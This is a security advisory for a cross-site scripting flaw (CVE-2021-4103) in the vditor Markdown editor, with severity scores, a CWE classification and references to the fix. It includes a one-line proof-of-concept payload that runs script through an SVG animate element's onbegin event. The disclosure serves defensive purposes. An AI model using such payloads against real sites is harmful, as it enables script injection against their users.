vanessa219/vditor · Security
vditor Vulnerable to Cross-site Scripting in SVG events
- GHSA ID
- GHSA-cxm3-v4mv-6mh8
- CVE ID
- CVE-2021-4103
- Severity
- medium
- Published
- Updated
- CVSS
- 5.4 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- CVSS v3
- 5.4 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Description
vditor does not filter user input in SVG events, leading to XSS
PoC
</a>
<svg><animate onbegin=alert(11) attributeName=x dur=1s>
CWEs
- CWE-79 · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-4103 ↗
- https://github.com/vanessa219/vditor/commit/8d4d0889dd72b2f839e93a49db3da3a370416c7d ↗
- https://huntr.dev/bounties/67b980af-7357-4879-9448-a926c6474225 ↗
- https://github.com/Vanessa219/vditor/issues/1133 ↗
- https://github.com/advisories/GHSA-cxm3-v4mv-6mh8 ↗